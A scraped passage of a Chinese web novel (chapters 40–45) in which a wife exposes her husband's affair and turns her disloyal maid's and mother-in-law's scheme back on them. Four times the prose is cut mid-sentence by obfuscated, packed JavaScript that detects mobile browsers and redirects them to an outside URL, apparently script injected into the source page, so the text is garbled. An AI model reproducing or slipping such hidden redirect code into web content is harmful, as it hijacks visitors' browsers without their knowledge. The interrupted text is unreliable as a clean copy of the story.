看着她的背影,秋容皱眉,听方才她们二人的交谈,似乎姑娘近日要去与她那情郎诀别? 心中升起一股危机感,不行!她还没完成老夫人的吩咐,若是姑娘就这样和她情郎诀别了,那老夫人不止不会兑现之前的承诺,恐怕还会暗地里给自己小鞋穿! 她得想法子知道莺儿带出去的信件究竟写了什么! 秋容整理好思绪,她端着热水跨进屋内:“姑娘,奴婢现在伺候您梳洗。” 顾皎皎神情恹恹,她没有多说话,只轻轻应了一句。 二人各怀心事,屋内一片寂静,草草伺候主子梳洗完,秋容转身便要离开,她得快些追出去,看能不能找寻莺儿踪迹。 顾皎皎看她一眼:“秋容,你将书案 旁的点心给我端过来,肚子有些饿了。” 秋容的步子顿住,有些不耐烦,却还是照做。 她走到书案边上,带着怨气端起那盘点心,当看到桌面上的宣纸时,她眸中怒气立马消散。 左右瞧了瞧,确认无人瞧见自己的动作后,秋容快速将最上面的那张纸藏进怀里。 “姑娘,这是您的点心,若是没有其他事情,奴婢便先退下了。” “嗯,你走吧,正好我也乏了。” 顾皎皎冷冷看着秋容快速离开的背影。 事情成败皆靠你了,秋容,你可千万别让我失望啊。 一口气跑回住处,秋容忙将怀中纸张拿出,看着上面若隐若现的字迹,她笑道:“当真是得来全不费工夫!” 将纸张放在烛火下一一看过后,她大致知道了信中内容。 姑娘约了她那情郎明日在东街的一处屋子私会,届时她便带着老夫人去捉奸! 第四十章 配不上 将纸张握在手中,秋容抬脚便要前往老夫人院子,行至门口时她忽然顿住,捏住纸张的手也紧了紧。 她回眸看向床榻上精致的华服与温润细腻的玉簪,犹豫之色尽显。 不知过了许久,她转身退回了屋子,将纸张放置在塌下藏了起来。 皎月阁 顾皎皎端坐在桌前,她握着手中茶盏,平静无波的眸子凝视着窗外朦胧的月色。 微风拂过,绒花花瓣四处纷飞,她伸手接住一片握在掌中:“起风了,莺儿,你且看看什么时辰了?” “回姑娘,已经戌时了。” “那到时辰了。”顾皎皎站起身:“去将燕窝端来吧,咱们去瞧瞧协兆。” 莺儿应下,转身便走了出去。 主仆二人来到书房时,发现书房房门紧闭,房外也无人看守,顾皎皎皱眉:“这些人是如何当差的,只会耍懒,当安阳侯府的俸禄如此好拿吗?” 说着,她快步靠近书房,阴影处一名小厮忽然跳出来拦住她:“三……三夫人,三爷正在房中处理要事,任何人不得打扰……” 顾皎皎:“你也知道我是三夫人,夫君口中的任何人自然不包括我,让开,我给夫君端了点夜宵垫垫肚子。” 小厮身影纹丝不动,他咬牙:“三夫人,恕小的不能从命!” “嗯哼……讨厌……” 顾皎皎正欲说话,书房内传来暧昧的声音,她面色陡然变冷:“这就是你说的要事?” 小厮额角渗出冷汗,他忙道:“三夫人,您莫要让小的难做,三爷吩咐了任何人不得入内!” 顾皎皎一巴掌扇到那小厮面上:“瞎了你的狗眼了,竟敢拦我,莺儿,我们进去看看,究竟是哪个狐狸精!” “是,姑娘!” 莺儿一扭胯将小厮撞开,率先过去将书房门踹开。 哐当一声,房门重重撞上墙壁发出剧烈的声响,顾皎皎径直走到房门处,屋内春色一览无余。 秋容双腿岔开坐在孙协兆身上,孙协兆只衣服下摆凌乱了些,而她的唇瓣则是红肿不堪,衣衫半褪,裸露在外的肌肤上布满了星星点点的斑驳吻痕。 顾皎皎见状瞬间红了眼眶,她颤抖着手指向他们:“你们……你们……秋容,你可真是对得起我!” 秋容眸中春色褪尽,原本红润妩媚的面庞瞬间变得苍白不已,她顾不得衣衫整不整齐,赶忙从孙协兆腿上起来:“姑娘,您听我解释!” “解释?”顾皎皎冷笑:“解释你是如何瞒着我爬上我夫君的床的?” 秋容急切道:“姑娘,奴婢也是心疼您,您忘了吗,之前您不也考虑过让我做姑爷的妾室,替您美言吗?” “所以,这便是你背叛我的理由?”顾皎皎上下打量了秋容一眼,猛的一巴掌甩她面上:“你竟然还穿着今日我送你的衣服?” “秋容,是,我考虑过让你做协兆的妾室,可这并不代表你能背着我勾引我的夫君!这安阳侯府想来也容不下你这尊大佛了,明日你便收拾行李离开吧!” 秋容脸色煞白,她跪在地上抱住顾皎皎的腿:“姑娘,奴婢错了,您千万不要赶奴婢离开啊!” “不是我要赶你离开,是你自己要离开。”顾皎皎失望,她湿润着眸子快步离开。 秋容见顾皎皎那边没戏了,她湿润着眸子看向孙协兆:“姑爷……” 兴致被破坏,孙协兆心情烦闷,他看向秋容裸露在外的滑腻肌肤,眸中欲念极重。 想到方才主仆二人的对话,他将这抹欲念生生压下,看着秋容也觉得索然无味起来:“去找你的主子吧,日后莫要再来书房了。” 幸好顾皎皎及时来了,否则他真不知如何与青青交差! 秋容闻言不可置信,她指了指自己身上青紫的痕迹:“姑爷,您已经碰了奴婢,您要奴婢有何颜面去见姑娘?” 孙协兆不耐:“我何时碰了你,你可让大夫来验,你的处子之身是否还在!” 他从钱袋中取了一锭银子砸到秋容面前:“这些银子,点一个青楼头牌也够了,滚吧!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017255|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 秋容不甘心,却也无可奈何,只能默默穿衣离开,秋风萧瑟,夜间更为寒凉,她无助的抱紧身子,颤抖着往住处走。 泪水一滴一滴从眸间滑落,她越哭,心中的不甘便越重。 姑娘如今说了狠话让她离府,姑爷也不要自己了,离了安阳侯府她还能怎么办呢? 不行!她不能坐以待毙! 秋容的眼眸划过一抹阴狠:“姑娘,既然你先不仁,那便别怪我无义了!” 她小跑回房,快速换了一身衣裳后,便拿起床榻下的纸张往孙老夫人处赶。 孙老夫人的院子已然熄灯,秋容用力拍打院门:“老夫人,奴婢有要事禀报!” “吱嘎”院门打开,宋嬷嬷打着哈欠:“秋容,大半夜的你在此大呼小叫作甚?” 秋容福身行礼:“宋嬷嬷,姑娘一事有线索了,奴婢求见老夫人!” 听见是顾皎皎的事儿,宋嬷嬷来了精神,当即便将秋容带进老夫人寝屋。 屋内,老夫人斜靠在塌上,眉眼之间带着一抹倦意与不耐:“秋容,若是你今日 不能说出有价值之事,我非扒了你的皮不可!” 秋容瑟缩一下,浑身起了鸡皮疙瘩。 她向后退了一步,想逃,可一想到顾皎皎之言,她眸中又满是坚定。 横竖都是被逐出安阳侯府,不若搏一搏,兴许便可翻身也说不定! 她扑通一声跪在地上,将纸张高举头顶:“老夫人,这是姑娘偷偷写给那情夫的信,您请看。” 孙老夫人接过纸张仔细瞧了起来,紧皱的眉头舒展开来,她大笑:“好好好!秋容,你真是好样的!待我捉了那小贱蹄子与情夫在塌上,定然少不了你的好处!” 秋容心下稍松,她忙跪下表忠心:“能替老夫人分忧解难是奴婢的荣幸,只愿老夫人日后身边留有奴婢的一席之地便是。” 孙老夫人挑眉:“协兆的妾室,你不做了?” 秋容咬牙:“奴婢有自知之明,卑贱之躯不敢高攀三爷。” 第四十一章 要的就是这种效果 想到方才书房场景,秋容的头埋得越发低,心中思绪万千。 如今姑娘处已经发话,要将她直接驱出安阳侯府,若是姑爷那边要了自己当妾室,她倒也不怕,可偏偏姑爷又是那副态度! 如今她若想继续待在安阳侯府,也只有在老夫人身边能寻个栖身之处了。 孙老夫人闻言满意,看来这秋容还算识趣,既如此,待事成后,她不介意府中多一张嘴吃饭。 “行,明日事成后,我便让宋嬷嬷在院中给你寻一个轻松的活儿,保你衣食无忧。” 得到承诺,秋容眼眸发光,她忙磕头:“奴婢多谢老夫人!” “老夫人,奴婢听着姑娘的意思,她似乎是准备子时过后便秘密去见她那情郎,如今时辰不早了,不若提前准备着?” 将纸张又细看一遍,孙老夫人犹豫,纸张上大多字迹印子都不甚清晰,唯有院子地址哪儿能看得稍稍真切些许。 这难道是个套? 转瞬,她又将这个想法抛出脑海,顾皎皎那蠢货没有这个脑子! 孙老夫人:“宋嬷嬷,去准备准备,多找几个身强力壮的汉子,定要将顾皎皎与她那情夫捉在塌上!” “是,老夫人。” 秋容忙自荐:“老夫人,奴婢也去帮着宋嬷嬷准备准备。” 孙老夫人摆手允了,即将得到金山银山的喜悦情绪汹涌澎湃,为了不在下人面前失态,她努力压制嘴边上翘的弧度,眼角处的笑纹却暴露了她的情绪。 有了秋容的帮助,宋嬷嬷很快便将老夫人吩咐之事处理妥当,五个人高马大的小厮负手站立在院中,见孙老夫人出来,他们齐齐行礼。 孙老夫人满意一笑,面上褶子加深:“走吧,待会儿表现好的,赏银多多!” 小厮们兴奋不已,兴冲冲表起忠心。 一群人蹑手蹑脚到达目的地,宋嬷嬷看了眼面前的宅院道:“老夫人,没错就是此处。” 隐隐约约的暧昧声响从屋内传出,听得众人面红耳热。 孙老夫人眯眼看向闪着微弱烛光的窗户,她冷笑道:“哼,一对奸夫淫妇,都什么时辰了,还在折腾呢!” 宋嬷嬷:“老夫人,现下正是寅时末,咱们可是现在进去捉奸?” 孙老夫人抬头看了眼天色,远处已经有一抹霞光从云朵中溢出,她笑了笑,满是恶意:“不急,且再等上一等,待卯时或者辰时人多时,咱们再进去捉奸。” “可……”宋嬷嬷犹豫,终还是大着胆子道:“可老夫人,此事并非光彩的事情,卯时与辰时街道上围满了人,当着这么多人捉奸,怕是于安阳侯府的名声不利。” 孙老夫人不耐烦摆手,声音陡然拨高:“是顾皎皎那贱蹄子不要脸与情郎厮混,她都不怕丢人现眼,我安阳侯府又有何惧?” “嘘……”宋嬷嬷心虚看了透着烛光的窗户一眼:“老夫人,奴婢知晓了,您小声着些,若是惊到屋内人,今日可就白忙活了一场……” 孙老夫人这才作罢,她看了眼天色道:“我去歇一会儿,到了时辰叫我。” 说完,她进入身后的小轿中托着腮打盹。 当数道鸡鸣声与清晨的霞光一同升起时,屋内动静方歇。 街道上摆摊的小贩们都支好了摊位,人来人往高声叫卖。 见时间差不多了,宋嬷嬷行至轿前轻声道:“老夫人,时辰到了。” 孙老夫人闻言立马清醒,她快步踏出轿子,视线落在紧闭的窗户上,瞬间精神抖擞起来。 宋嬷嬷:“老夫人,可是现在行动?” “就是现在,去,给我将门撞开!” 小厮一拥而上,本就不太牢固的木门轻而易举便被踹倒,巨大的声响引得街上人来人往的行人驻足观望,人人皆面露诧异之色。 “他们这是要干什么?这大清早竟这般无礼去踹人房门?” “谁知道呢,你且看他们的打扮,非富即贵,在这京中,有权有势的便可横着走,踹一个房门算什么?” 一路人愤愤不平,他上前一步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017256|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“虽不知你们究竟是什么了不起的人家,但京城乃是天子脚下,由不得你们这般目无王法,你们快退出来,否则我就报官了!” “报官?”孙老夫人浑浊的眼亮了亮,她怎么没想到报官呢! 她瞪了那路人一眼:“你要报官你便报!到时候看官爷是帮你还是帮我!” 路人瞬间被激怒,他颤抖着手:“好啊,你们当真狂妄!且等着,我倒要看看,等官爷来了你们还会不会这般!” 路人往官府方向跑去,宋嬷嬷看向主子:“老夫人,可要拦住那人?” 孙老夫人抬眸:“不用管,进去给我将那对奸夫淫妇抓出来游街示众!” 她巴不得官兵快些来,这样顾皎皎便翻不得身了! 小厮个个人高马大,不消片刻便将院中的所有房门都踹开,街边围观人群到底八卦,都跟着进了院子看热闹。 孙老夫人抚了抚鬓发十分得意,要的就是这种效果! “去,将那对奸夫淫妇抓出来众人瞧瞧。” 宋嬷嬷领着小厮冲进屋内,屋内立马响起尖叫声,男的女的都有。 孙老夫人心中畅快,今日可算收拾了那贱蹄子,不过方才那男声怎的听起来有些熟悉?似乎在哪儿听到过…… 不待她想明白,宋嬷嬷从房内出来,面如菜色。 孙老夫人皱眉:“将他们抓出来呀!这么点小事都做不好,要你有何用?” 宋嬷嬷低垂着头,她小声道:“老夫人,您还是进去瞧瞧吧……里面不是三夫人……” “什么?” 不详的预感传来,孙老夫人猛的想起那男声与谁人相似,她忙快步跨进屋内,没一会儿,孙老夫人的尖叫声与怒骂声响彻云霄。 “你们……你们这成何体统?!”孙老夫人颤抖着手指向床榻上赤身裸体抱在一起的孙协兆与徐青青二人,差点两眼一翻晕过去。 屋外围观人群听见动静都一窝蜂往屋内涌来,孙协兆目眦欲裂:“母亲,你这是做什么?!” 第四十二章 反而结成仇了 孙协兆将不住哭泣的徐青青拉进被中藏了起来,他怒吼:“母亲,你为何要这般害我!” “我害你?”孙老夫人气得浑身颤抖:“我若是真想害你,便不会大清早的赶来这儿!你瞧瞧你这都干的什么事儿?” 眼见母子二人不分场合便要吵起来,宋嬷嬷赶忙上前拉住孙老夫人的衣袖:“老夫人,不宜多说。” 说着,她指向门口。 孙老夫人这才后知后觉意识到如今处境,她为了让顾皎皎身败名裂,引了不少人过来。 她往门口看去,那里果然站着乌泱泱的一大群人,他们的视线牢牢黏在塌上的孙协兆与徐青青身上,是不是还低笑耳语几句。 孙老夫人感觉天都塌了,她眼前一黑,头晕目眩,可想到如今处境,又不得不强撑起身体。 宋嬷嬷扶住她:“老夫人,您莫要气坏了身子。” “现下还管什么身子不身子的!”孙老夫人一把推开宋嬷嬷:“废物,还不快将这些人轰出去,真想让协兆名声扫地吗?!” “都是奴婢的错,奴婢立马去办!” 宋嬷嬷赶忙带着那几名小厮轰人,可是迟了一步,数名士兵从人群中小跑进入屋内。 领头士兵轻蔑扫了孙老夫人与床榻上的二人一眼:“有人报官说此处有寻衅滋事事件,我们大人派我们过来瞧瞧,究竟是怎么回事?” 孙老夫人老脸煞白,早知屋内是协兆与青青,她哪里会让人报官啊! 孙协兆的面色也青一阵白一阵,他咬牙瞪了孙老夫人一眼。 他已经许多时日未见青青,昨日与秋容之事被破坏,可又实在心猿意马得紧,是以才半夜来了此处寻她。 久未相见自然干柴烈火,疲累了便也就没有第一时间离开,哪知醒来却收到母亲送的这份大礼! 见无人回答,领头士兵不耐:“究竟什么情况?” 孙老夫人回过神来,她赶忙解释:“没有寻衅滋事,方才报官之人定是误会了。” 她从怀中掏出一张银票递给那士兵:“天气炎热,这银票你且拿去和兄弟们喝杯冷茶,麻烦你们走这一趟了。” 领头士兵看也没看银票一眼,直接将她的手推开:“不是寻衅滋事,那便是无媒苟合的风流韵事了?” 孙老夫人连忙否认:“自然不是无媒苟合!” 领头士兵看了眼塌上二人:“那些二位是正正经经过了婚书的原配夫妻?” “是,正是如此,今日闹成这样实属无奈,辛苦你们走这一趟了。” 说完,孙老夫人松了口气,这般说了,那这些士兵怎么也该走了吧,官府管天管地也不能管到人小两口身上来! 怎料下一秒,那士兵却朝她伸出手:“即是夫妻,那便提供一下婚书吧。” 孙老夫人傻眼了,协兆与徐青青哪里有什么婚书! 围观人群见状瞬间了然,看向屋内几人的目光越发鄙夷。 “还说是原配夫妻,却连婚书都拿不出,我瞧着塌上那女子定是塌上男子的外室,否则怎会这般偷偷摸摸的?” “我瞧着也是外室,你们可还记得,方才这老太太可是气势汹汹来的,结果一见到塌上人瞬间便焉了,我猜测这老太太想抓之人应当不是他儿子与外室……” “什么老太太啊?你们可真是眼拙,这可是安阳侯府的老夫人,塌上那位则是安阳侯府的三少爷!” “什么?”围观众人惊了一下:“安阳侯府的三少爷不是最专一之人么?怎么养了外室?” 安阳侯府虽然式微,可在京中也算是口碑不错的人家,孙协兆迎娶了顾皎皎后,一直未纳妾室,京中人将他夸得天上有地上无。 可如今却忽然爆出这样的惊天大瓜来,属实令人唏嘘。 众人你一言我一语的讨论起来,安阳侯府众人都面色难看得紧。 孙老夫人恨恨咬牙:“你们都在胡说什么?一口一个外室的,此人是我儿新纳的妾室,自然是没有婚书的!” “妾室?好一个妾室。” 粗犷沉稳的男声自屋外传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017257|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,围观人群自发让出了一条道。 平王阴沉着脸踏入屋内,视线落在塌上,他皮笑肉不笑道:“安阳侯府新添一妾室,当真是可喜可贺啊!” 男子的语气令孙老夫人十分不适,她皱眉质问:“你又是何人,我安阳侯府之事,与你何干?” “母亲!” 孙协兆大吼一声,制止了她继续说下去。 孙老夫人未曾见过平王,自然不知眼前人是谁,可他却知道啊! 孙协兆草草拢了一件外衫套在身上,手脚并用跪下行礼:“不知王爷来此,有失远迎,请王爷恕罪!” 围观之人被清了出去,房中只剩下安阳侯府的人与平王的人。 “恕罪?”平王冷冷一笑:“你竟有脸开口说恕罪!” 他猛的抬脚踹到孙协兆胸膛,孙协兆整个人如放了气的皮球一般,飞了两三米远。 孙协兆的后背重重撞上墙壁,五脏六腑都传来尖锐的刺痛感,他猛的吐了一口鲜血。 “协兆!” 孙老夫人吓得变了脸色,忙小跑过去将人扶起。 她本不敢与平王对视,如今见儿子这般,反倒生了些勇气,她怒道:“王爷,我儿如何得罪您了,您要这般折腾他?” 平王一个眼神也未赏给孙老夫人,他看向塌上的凸起处:“安阳侯府老夫人的话,你也听到了,是要本王解释,还是你自个儿解释?” 被中的徐青青瑟缩了一下,她伸出满是暧昧痕迹的手将衣裳拉进被中,待穿戴整齐,她才低着头从塌上起来。 见她这幅模样,平王额头青筋暴突:“瞧瞧你这幅自甘下贱的模样!” 徐青青一个字也不敢说,只跪在地上低声啜泣。 饶是老夫人在迟钝,此刻也理清了事情的来龙去脉,从前协兆总说徐青青身份不一般,没料她竟是平王府的郡主! 如今闹成这样,平王又哪里还愿将女下嫁,这是亲家没结成,反而结成仇了啊! 孙老夫人捶胸顿足,悔不当初。 第四十三章 生死不知 顾皎皎站在对面客栈的窗户边上眺望,她将方才那场闹剧尽收眼底。 看着徐青青跪行,痛哭流涕求平王原谅,她唇边漾起一抹带着快意的笑容,这是她当初对自己下药,应得的报应。 莺儿:“姑娘,奴婢看着他们这般真是畅快呢!” 顾皎皎笑意加深:“我也亦然,平王今日未将徐青青带走,那便证明她今生都与郡主之位无缘了。” “可是姑娘,平王只她一个子嗣,说不定要不了几日就原谅她了呢。” “原谅?”顾皎皎凉薄一笑:“平王是何等心高气傲之人,一个做了外室的私生女,他不会寄予厚望的,就算日后当真接回平王府,也绝不是郡主的身份,总之,徐青青没什么大用处了。” “既做不成郡主,做安阳侯府的妾室也是好的,待回府后,我们且去问问孙协兆,这新的妾室该怎么抬进侯府。” 莺儿噗嗤一声笑了:“姑娘,若是当真这般问了,可不就是往孙三心上扎刀子吗?哈哈哈。” 顾皎皎眯眼:“扎刀子算什么,我巴不得剜了他的心。” 寒奉寺一事何等歹毒?若非她当机立断做出决策,她现下指不定已经被孙家那群黑心肝之人吞了嫁妆,休弃后赶出安阳侯府生死不知了。 莺儿知晓主子的话是何意思,她拉住顾皎皎的手宽慰:“姑娘,不愉快的事情便忘了吧。” 顾皎皎微不可见地点了点头,片刻后,她淡声道:“走,咱们回府看看热闹去。” 安阳侯府 孙老夫人与孙协兆相对无言,房间内寂静无声。 孙老夫人忐忑:“协兆,平王他不会当真生气了吧?青青还能嫁到咱们安阳侯府吗?” 孙协兆双手紧握成拳,他抑制住在暴怒边缘不住横跳的情绪:“听方才平王的意思,是让青青继续做外室,没有接她回府做郡主的想法。” “那怎么行!”孙老夫人大喊:“她若不是郡主,那连顾皎皎都比不上,顾皎皎好歹嫁妆丰盛,她若离了平王便是孤女,哪里能给你什么助力?” “母亲。”孙协兆深吸一口气,咬牙道:“我们不能只看眼前利益,青青是平王目前唯一的女儿,平王又哪里真舍得就此与她断了父女情分?” 闻言,孙老夫人这才面色好看了些:“如此便好,幸好我没坏了你们的事儿,否则真会自责一辈子……” “母亲,您合该自责一辈子。” 顾皎皎迈着步子进入院中,面上挂着若有若无的笑意。 一见到她,孙老夫人将将稳定的情绪再次爆发:“你来做什么?还有,你方才那话是何意?什么叫我合该自责一辈子?!” 今日若不是这贱人,哪里会有这些事情! 顾皎皎自顾自找了张椅子坐下,莺儿忙斟了一杯茶水奉上。 孙老夫人气得一拍桌:“你当我这里是你的皎月阁?怎敢这般放肆,我未曾开口让你坐,你怎敢坐?” 顾皎皎充耳未闻,她端起茶盏轻撇浮沫:“母亲,如今京中可都传遍了,说是夫君给我添了一个姐妹,今日怎的没瞧见她?” 孙协兆变了脸,他没料到今日之事会传出,更没想到平王竟当真不愿插手干涉此事,当真绝情。 不行,绝不能让顾皎皎知晓此事,若是她先提和离,那他之前准备的计划便都用不上了,也占不了丁点主动权。 不过片刻,他便恢复如初:“你怎的也跟着人云亦云?这么多年我身边有没有旁的女子,你还不知道?” 顾皎皎垂眸:“旁的女子没有。” 孙协兆松了口气,他本欲将她打发离开,结果下一秒却听顾皎皎笑着道:“外室倒有一个。” 孙协兆心虚:“胡说八道,都说了让你不要人云亦云,京中说的都是假的!” “是吗?”顾皎皎放松身体轻靠在椅背上,她唇瓣微动,徐青青三字从唇齿之间蹦出。 孙协兆与孙老夫人闻言双双呆住,她怎会知晓徐青青的存在?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017258|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 顾皎皎眼眸微转,撑住下颚静静欣赏着面前母子二人惊慌失措的神色,片刻后,她笑着看向孙协兆:“夫君,青云之路被母亲亲手捏碎的感觉如何?” 此话一出,房间内瞬间鸦雀无声,孙协兆心中掀起惊涛骇浪,顾皎皎那话所蕴含的意思太多,他思虑着久久没有回过神。 孙老夫人的想法则是简单得多,她将这两日的事情串联起来,哪里还不明白发生了什么。 她愤怒起身,带着褶皱的手颤颤巍巍指向顾皎皎:“难怪那纸张印子模糊,却偏偏地址处却看得清,原来是你这个贱蹄子设计要害我们!” “贱人,你害得我们安阳侯府丢了好大的脸!” 顾皎皎笑:“母亲说的什么胡话?我何曾给过你什么纸条?安阳侯府丢脸又与我何干?分明是母亲您带着一大群人去捉夫君的奸啊。” 孙老夫人噎住,哑口无言。 纸张是秋容给的,今日害得安阳侯府丢脸的也是她……若非她想将顾皎皎毁了,非要刺激路人报官,若非她非要从寅时硬生生等到日出,兴许安阳侯府便没有今日波折,协兆也不会这般丢脸!更不会得罪平王! 孙协兆虽 也埋怨母亲,却也由不得旁人欺辱,他斥道:“作为一个小辈,你竟敢指责婆母,顾皎皎,你们顾家的家教便是如此吗?” 孙协兆的话将孙老夫人唤醒,她从恍惚中回过神来,后知后觉自己又着了顾皎皎的道。 她咬牙,当真是士别三日刮目相待,这贱蹄子竟悄悄练就了这等心机,不过那又如何,只要她人还在安阳侯府,还是安阳侯府的媳妇,那便任她揉搓扁圆! 孙老夫人这才好受了些,她摆出长辈的架子,冷脸威胁:“顾皎皎,若是你还想在安阳侯府……” 说着说着,孙老夫人没了声儿。 顾皎皎勾唇,眸中兴味浓厚:“母亲,若我还想在安阳侯府应当如何?您的话应当说清楚才是,说一半留一半这不是吊人胃口吗?” 第四十四章 旧疾复发 孙老夫人胸膛快速起伏,一双浑浊的眸子染上丝丝缕缕的红,这模样一看就是气狠了。 顾皎皎翘首以盼,期待她的下文,她倒是要看看,这老虔婆准备用什么威胁她! 孙老夫人情绪逐渐平复,她平和道:“罢了,我们做长辈的自然不能同你们小辈一般见识,我没什么要和你说的,你且退下吧。” 顾皎皎秀眉微微挑起,看来这老虔婆脸皮比她想得更厚些,竟还摆出一副大气的模样,好似方才都是她在无理取闹似的。 事到如今她也不想忍气吞声了。 顾皎皎收敛了笑意:“母亲是没什么可以威胁儿媳吧?毕竟我的嫁妆比十个安阳侯府都更富裕。” 孙老夫人瞪眼:“好你个猖狂的贱蹄子,这等海口你也说得出!” “是不是海口,难道母亲不知?”她挑眉反问,揶揄之色尽显:“往日里我掌家时,您与大嫂二嫂每日的燕窝、甜点、美容养颜之物一日所用,便可抵旁人一月有余的银钱,我嫁到安阳侯府几日,这笔开支便用了多久,母亲可算算是多少。” “你……你……”孙老夫人指着她,气得一句完整话都说不出,你了半天,只能干巴巴骂道:“早知你是这个德行,我当初定不会松口让协兆娶你!” 顾皎皎反唇相讥:“母亲当初松口究竟是想娶我顾家的金山银山,还是娶我,您自己心里清楚。” “反了天了,真是反了天了,你信不信我……” 孙老夫人的话还未说完,顾皎皎冷声打断:“母亲还是莫要想着威胁我了,如今侯府虽是你掌家,但我一不从公中支取银两,二不从你手下讨饭吃,你的这招,用来对付大嫂二嫂或许管用,对我无效,因你手中没有我的软肋!” “日后若是再将手伸到我的院中,那母亲就莫要怪儿媳不孝了。” 说完,顾皎皎带着莺儿头也不回离开。 孙老夫人属实被气到了,她看着顾皎皎的背影呼吸变得急促,一口气没喘上了,两眼一翻晕倒在地。 孙协兆被吓了一跳,他连滚带爬靠近孙老夫人:“母亲!母亲!快去找大夫!” 因着孙老夫人的晕倒,整个安阳侯府都人仰马翻。 皎月阁 莺儿:“姑娘,您今日可算是出了口恶气,但是一想到从前他们那般欺负您,我就觉得今日太过便宜他们了。” 顾皎皎眉眼柔和:“今日不过动动嘴皮子罢了,怎么能算出了气?且等着吧,安阳侯府欠我的,我通通都会要回来!” “奴婢相信姑娘。” 顾皎皎:“对了,你且去将这些年花在安阳侯府的银两算一算,相信用不了多久就能用得上。” “是,姑娘。” 另一边,孙协兆皱眉看向替母亲诊脉的大夫:“大夫,我母亲如何了?是何疾?” 大夫收回手:“三爷,老夫人这是怒火攻心导致旧疾复发,切记日后莫要再惹老夫人生气了,否则会有性命之忧啊!” “什么,竟会危及性命?”孙协兆心中后怕:“可有何法子能助我母亲养好身子?如今是母亲在掌家,若是有不懂事的下人,心中有怒火是无法避免的。” 大夫摇头:“无法根治,我只能开一副药方,老夫人是旧疾也是顽疾,若是掌家免不了生气,那便换一人掌家便是。” “多谢大夫,我送你离开。” 将孙老夫人留给宋嬷嬷照顾,孙协兆阴沉着脸前往书房,如今顾皎皎不似从前那般好掌控,得想个法子才是。 顾家是商户,最缺的便是权,安阳侯府是侯爵,有的便是权,或许他可用休书吓一吓顾皎皎,逼她就范。 收起思绪,孙协兆提笔便写下一封休书,不待墨汁风干,他拿着信封便往皎月阁赶。 待他赶到皎月阁时,却见皎月阁院门大开,顾皎皎正躺在贵妃椅上假寐。 似乎是察觉到他来了,顾皎皎眼眸微张,慵懒开口:“来了?进来吧。” “你知我要来?” 孙协兆一头雾水,却还是捏着休书踏进院 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他暴怒:“你竟敢打我?谁给你的胆子?!” 莺儿瑟缩了一下,却仍旧坚定挡在自家姑娘身前:“是你先动手动脚的!” 莺儿还想说话,顾皎皎将她拉到自己身后,她将莺儿手中厚厚的一叠账簿丢到孙协兆怀里。 孙协兆暴躁地将账单扒拉几下:“这是何物?你给我作甚?” 顾皎皎笑了笑:“这是我嫁到安阳侯府这两年多来的所有花销,在我们一刀两断之前,你得先将银子还我,否则咱们就去衙门对簿公堂,不过到时候丢脸的就是你们安阳侯府了。” 账簿?她未必将这两年多的每一笔都记下了? 孙协兆草草翻阅一遍,直直拉到最后面,当看到最后面高达一千三百万两的银子时,他直接跳了起来。 “顾皎皎,你真是撒谎不打草稿,一千三百万两?亏你说得出口!” 第四十五章 一定是巧合 顾皎皎闻言也不恼,她淡定坐下品起茶来,与孙协兆的暴跳如雷形成鲜明对比。 放下茶盏,她圆润的指尖轻点石桌,发出清脆声响:“白字黑纸写得清清楚楚,莫非你还想赖账不成?” 孙协兆冷哼,低垂下头打量账簿,上面果然何年何月何日都记录得十分详尽,有些花销数额较大的,甚至记录到了何时。 越看他面色越黑沉,额角青筋暴起。 刺啦几声,孙协兆将账簿撕碎:“顾皎皎,你不愧是商户女,真是上不得台面,账簿里你竟然连如厕用的厕纸都记录进去!” 孙协兆一抬手将撕成碎片的账簿撒向空中,他暴怒道:“顾皎皎,我告诉你,这银两你一分也别想要,如今证据已毁,我看你如何与我对簿公堂!” 就这?他竟以为自己会傻到把证据全部交到他手中,顾皎皎心中不屑,他这脑子竟然也能与小云南王成为至交好友? 她抬眸看了莺儿一眼,莺儿立马带着两名小厮抬了一大箱子账簿放在院子中央。 